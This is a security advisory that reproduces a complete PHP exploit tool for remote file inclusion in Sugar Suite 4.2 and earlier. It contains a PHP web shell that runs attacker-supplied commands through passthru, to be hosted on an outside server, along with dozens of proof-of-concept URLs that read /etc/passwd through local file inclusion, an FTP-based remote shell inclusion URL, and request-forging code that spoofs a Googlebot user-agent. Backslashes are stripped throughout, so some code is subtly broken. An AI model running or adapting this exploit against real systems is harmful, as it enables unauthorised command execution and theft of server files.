SecurityReason - Sugar Suite Open Source <= 4.2 "OptimisticLock!" arbitrary remote inclusion exploit

Advisory Text :

#!/usr/bin/php -q -d short_open_tag=on

<?

echo "Sugar Suite Open Source <= 4.2 "OptimisticLock!" arbitrary remote
inclusion exploitrn";

echo "by rgod rgod (at) autistici (dot) org [email concealed]rn";

echo "site: http://retrogod.altervista.orgrnrn";

echo "this is called the "five claws of Sun-tzu"rnrn";

if ($argc<5) {

echo "Usage: php ".$argv[0]." host path location cmd OPTIONSrn";

echo "host: target server (ip/hostname)rn";

echo "path: path to sugar suitern";

echo "location: an arbitrary location with the code to includern";

echo "cmd: a shell commandrn";

echo "Options:rn";

echo " -p[port]: specify a port other than 80rn";

echo " -P[ip:port]: specify a proxyrn";

echo "Examples:rn";

echo "php ".$argv[0]." localhost /sugar/ http://somehost.com/shell.txt ls
-larn";

echo "php ".$argv[0]." localhost /sugar/ http://somehost.com/shell.txt ls
-la -p81rn";

echo "php ".$argv[0]." localhost / http://somehost.com/shell.txt ls -la
-P1.1.1.1:80rnrn";

echo "note, you need this code in http://somehost.com/shell.txtrn";

echo "<?phprn";

echo "if
(get_magic_quotes_gpc()){$_REQUEST["cmd"]=stripslashes($_REQUEST["c
md"]);}rn";

echo "ini_set("max_execution_time",0);rn";

echo "echo "*delim*";rn";

echo "passthru($_REQUEST["cmd"]);rn";

echo "echo "*delim*";rn";

echo "?>rn";

die;

}

/* software site: http://www.sugarcrm.com/crm/

i) vulnerable code in modules/OptimisticLock/LockResolve.php:

...

if(empty($GLOBALS['sugarEntry'])) die('Not A Valid Entry Point'); //<---
the f@ke protection, nearly in all files

...

if(isset($_SESSION['o_lock_object'])){

global $beanFiles, $moduleList;

$object = $_SESSION['o_lock_object'];

require_once($beanFiles[$beanList[$_SESSION['o_lock_module']]]);

$current_state = new $_SESSION['o_lock_class']();

$current_state->retrieve($object['id']);

if(isset($_REQUEST['save'])){

$_SESSION['o_lock_fs'] = true;

echo $_SESSION['o_lock_save'];

die();

}else{

display_conflict_between_objects($object,
$current_state->toArray(),$current_state->field_defs,
$current_state->module_dir, $_SESSION['o_lock_class']);

}}else{

echo 'No Locked Objects';

}

...

you can include files from local & remote resources and launch commands,
poc:

with register_globals = On & allow_url_fopen = On:

http://[target]/[path]/modules/OptimisticLock/LockResolve.php?GLOBALS[su
garEntry]=1&_SESSION[o_lock_object]=1&_SESSION[o_lock_module]=1&beanList
[1]=1&beanFiles[1]=http://somehost.com/someshell.txt

with register_globals = On:

http://[target]/[path]/modules/OptimisticLock/LockResolve.php?GLOBALS[su
garEntry]=1&_SESSION[o_lock_object]=1&_SESSION[o_lock_module]=1&beanList
[1]=1&beanFiles[1]=../../../../../../../../etc/passwd

ii) arbitrary local inclusion issues in a lot of files:

with register_globals = On & magic_quotes_gpc = Off:

http://[target]/[path]/modules/Administration/CustomizeFields.php?GLOBAL
S[sugarEntry]=1&theme=../../../../../../../../../../etc/passwd%00

http://[target]/[path]/modules/Administration/Development.php?GLOBALS[su
garEntry]=1&theme=../../../../../../../../../../etc/passwd%00

http://[target]/[path]/modules/Administration/DstFix.php?GLOBALS[sugarEn
try]=1&theme=../../../../../../../../../../etc/passwd%00

http://[target]/[path]/modules/Administration/index.php?GLOBALS[sugarEnt
ry]=1&theme=../../../../../../../../../../etc/passwd%00

http://[target]/[path]/include/SubPanel/SubPanelViewer.php?GLOBALS[sugar
Entry]=1&module=1&record=1&beanList[1]=1&theme=../../../../../../../../.
./../../../etc/passwd%00

http://[target]/[path]/modules/Accounts/index.php?GLOBALS[sugarEntry]=1&
theme=../../../../../../../../../../../../etc/passwd%00

http://[target]/[path]/modules/Administration/Upgrade.php?GLOBALS[sugarE
ntry]=1&theme=../../../../../../../../../../../../../etc/passwd%00

http://[target]/[path]/modules/Bugs/index.php?GLOBALS[sugarEntry]=1&them
e=../../../../../../../../../../../../../etc/passwd%00

http://[target]/[path]/modules/Calendar/index.php?GLOBALS[sugarEntry]=1&
theme=../../../../../../../../../../etc/passwd%00

http://[target]/[path]/modules/Calls/index.php?GLOBALS[sugarEntry]=1&the
me=../../../../../../../../../../../../../../etc/passwd%00

http://[target]/[path]/modules/CampaignLog/Forms.php?GLOBALS[sugarEntry]
=1&theme=../../../../../../../../../../../../etc/passwd%00

http://[target]/[path]/modules/Campaigns/Forms.php?GLOBALS[sugarEntry]=1
&theme=../../../../../../../../../../../../etc/passwd%00

http://[target]/[path]/modules/Campaigns/index.php?GLOBALS[sugarEntry]=1
&theme=../../../../../../../../../../../../etc/passwd%00

http://[target]/[path]/modules/CampaignTrackers/Forms.php?GLOBALS[sugarE
ntry]=1&theme=../../../../../../../../../../../../etc/passwd%00

http://[target]/[path]/modules/Cases/index.php?GLOBALS[sugarEntry]=1&the
me=../../../../../../../../../../../../etc/passwd%00

http://[target]/[path]/modules/Contacts/index.php?GLOBALS[sugarEntry]=1&
theme=../../../../../../../../../../../../etc/passwd%00

http://[target]/[path]/modules/Dashboard/index.php?GLOBALS[sugarEntry]=1
&theme=../../../../../../../../../../../../etc/passwd%00

http://[target]/[path]/modules/Documents/index.php?GLOBALS[sugarEntry]=1
&theme=../../../../../../../../../../../../etc/passwd%00

http://[target]/[path]/modules/Dropdown/index.php?GLOBALS[sugarEntry]=1&
theme=../../../../../../../../../../../../etc/passwd%00

http://[target]/[path]/modules/Dropdown/Popup.php?GLOBALS[sugarEntry]=1&
theme=../../../../../../../../../../../../etc/passwd%00

http://[target]/[path]/modules/DynamicFields/Popup.php?GLOBALS[sugarEntr
y]=1&theme=../../../../../../../../../../../../etc/passwd%00

http://[target]/[path]/modules/EditCustomFields/EditView.php?GLOBALS[sug
arEntry]=1&theme=../../../../../../../../../../../../etc/passwd%00

http://[target]/[path]/modules/EditCustomFields/Forms.php?GLOBALS[sugarE
ntry]=1&theme=../../../../../../../../../../../../etc/passwd%00

http://[target]/[path]/modules/EmailMan/index.php?GLOBALS[sugarEntry]=1&
theme=../../../../../../../../../../../../etc/passwd%00

http://[target]/[path]/modules/Emails/index.php?GLOBALS[sugarEntry]=1&th
eme=../../../../../../../../../../../../etc/passwd%00

http://[target]/[path]/modules/EmailTemplates/index.php?GLOBALS[sugarEnt
ry]=1&theme=../../../../../../../../../../../../etc/passwd%00

http://[target]/[path]/modules/Feeds/index.php?GLOBALS[sugarEntry]=1&the
me=../../../../../../../../../../../../etc/passwd%00

http://[target]/[path]/modules/Home/PopupSugar.php?GLOBALS[sugarEntry]=1
&theme=../../../../../../../../../../../../etc/passwd%00

http://[target]/[path]/modules/Leads/index.php?GLOBALS[sugarEntry]=1&the
me=../../../../../../../../../../../../etc/passwd%00

http://[target]/[path]/modules/MailMerge/index.php?GLOBALS[sugarEntry]=1
&theme=../../../../../../../../../../../../etc/passwd%00

http://[target]/[path]/modules/Meetings/index.php?GLOBALS[sugarEntry]=1&
theme=../../../../../../../../../../../../etc/passwd%00

http://[target]/[path]/modules/Notes/index.php?GLOBALS[sugarEntry]=1&the
me=../../../../../../../../../../../../etc/passwd%00

http://[target]/[path]/modules/Opportunities/index.php?GLOBALS[sugarEntr
y]=1&theme=../../../../../../../../../../../../etc/passwd%00

http://[target]/[path]/modules/Project/Forms.php?GLOBALS[sugarEntry]=1&t
heme=../../../../../../../../../../../../etc/passwd%00

http://[target]/[path]/modules/Project/index.php?GLOBALS[sugarEntry]=1&t
heme=../../../../../../../../../../../../etc/passwd%00

http://[target]/[path]/modules/ProjectTask/index.php?GLOBALS[sugarEntry]
=1&theme=../../../../../../../../../../../../etc/passwd%00

http://[target]/[path]/modules/ProspectLists/index.php?GLOBALS[sugarEntr
y]=1&theme=../../../../../../../../../../../../etc/passwd%00

http://[target]/[path]/modules/Prospects/index.php?GLOBALS[sugarEntry]=1
&theme=../../../../../../../../../../../../etc/passwd%00

http://[target]/[path]/modules/Roles/index.php?GLOBALS[sugarEntry]=1&the
me=../../../../../../../../../../../../etc/passwd%00

http://[target]/[path]/modules/Tasks/index.php?GLOBALS[sugarEntry]=1&the
me=../../../../../../../../../../../../etc/passwd%00

http://[target]/[path]/modules/Users/index.php?GLOBALS[sugarEntry]=1&the
me=../../../../../../../../../../../../etc/passwd%00

http://[target]/[path]/modules/Users/Login.php?GLOBALS[sugarEntry]=1&the
me=../../../../../../../../../../../../etc/passwd%00

with register_globals=On:

http://[target]/[path]/modules/Administration/RebuildAudit.php?GLOBALS[s
ugarEntry]=1&beanFiles[1]=../../../../../../../../../../../../../etc/pas
swd

and (on PHP5) arbitrary remote inclusion, including a file from a ftp
resource:

http://[target]/[path]/modules/Administration/RebuildAudit.php?cmd=ls%20
-la&GLOBALS[sugarEntry]=1&beanFiles[1]=ftp://username:password@somehost.
com/shell.txt

this is the exploit tool for i)

*/

error_reporting(0);

ini_set("max_execution_time",0);

ini_set("default_socket_timeout",5);

function quick_dump($string)

{

$result='';$exa='';$cont=0;

for ($i=0; $i<=strlen($string)-1; $i++)

{

if ((ord($string[$i]) <= 32 ) | (ord($string[$i]) > 126 ))

{$result.=" .";}

else

{$result.=" ".$string[$i];}

if (strlen(dechex(ord($string[$i])))==2)

{$exa.=" ".dechex(ord($string[$i]));}

else

{$exa.=" 0".dechex(ord($string[$i]));}

$cont++;if ($cont==15) {$cont=0; $result.="rn"; $exa.="rn";}

}

return $exa."rn".$result;

}

$proxy_regex = '(bd{1,3}.d{1,3}.d{1,3}.d{1,3}:d{1,5}b)';

function sendpacketii($packet)

{

global $proxy, $host, $port, $html, $proxy_regex;

if ($proxy=='') {

$ock=fsockopen(gethostbyname($host),$port);

if (!$ock) {

echo 'No response from '.$host.':'.$port; die;

}

}

else {

$c = preg_match($proxy_regex,$proxy);

if (!$c) {

echo 'Not a valid proxy...';die;

}

$parts=explode(':',$proxy);

echo "Connecting to ".$parts[0].":".$parts[1]." proxy...rn";

$ock=fsockopen($parts[0],$parts[1]);

if (!$ock) {

echo 'No response from proxy...';die;

}

}

fputs($ock,$packet);

if ($proxy=='') {

$html='';

while (!feof($ock)) {

$html.=fgets($ock);

}

}

else {

$html='';

while ((!feof($ock)) or
(!eregi(chr(0x0d).chr(0x0a).chr(0x0d).chr(0x0a),$html))) {

$html.=fread($ock,1);

}

}

fclose($ock);

#debug

#echo "rn".$html;

}

$host=$argv[1];

$path=$argv[2];

$loc=urlencode($argv[3]);

if (($path[0]<>'/') | ($path[strlen($path)-1]<>'/'))

{die("Check the path, it must begin and end with a trailing slashrn");}

$port=80;

$proxy="";

$cmd="";

for ($i=4; $i<=$argc-1; $i++){

$temp=$argv[$i][0].$argv[$i][1];

if (($temp<>"-p") and ($temp<>"-P"))

{

$cmd.=" ".$argv[$i];

}

if ($temp=="-p")

{

$port=str_replace("-p","",$argv[$i]);

}

if ($temp=="-P")

{

$proxy=str_replace("-P","",$argv[$i]);

}

}

$cmd=urlencode($cmd);

if ($proxy<>'') {$p="http://".$host.":".$port.$path;} else {$p=$path;}

$packet ="GET ".$p."modules/OptimisticLock/LockResolve.php HTTP/1.0rn";

$packet.="User-Agent: Mozilla/5.0 (compatible; Googlebot/2.1;
+http://www.google.com/bot.html)rn";

$packet.="Host: ".$host."rn";

//through cookies, it's the same, maybe can bypass some ids...

$packet.="Cookie: GLOBALS[sugarEntry]=1; _SESSION[o_lock_object]=1;
_SESSION[o_lock_module]=1; beanList[1]=1; beanFiles[1]=".$loc.";
cmd=".$cmd.";rn";

$packet.="Connection: Closernrn";

sendpacketii($packet);

if (strstr($html,"*delim*"))

{

echo "Exploit succeeded...";

$temp=explode("*delim*",$html);

die("rn".$temp[1]."rn");

}

else

{

if (strstr($html,"Not A Valid Entry Point")) {echo "register_globals off
here...rn";}

echo "Exploit failed...";

}

?>

original url: http://retrogod.altervista.org/sugar_suite_42_incl_xpl.html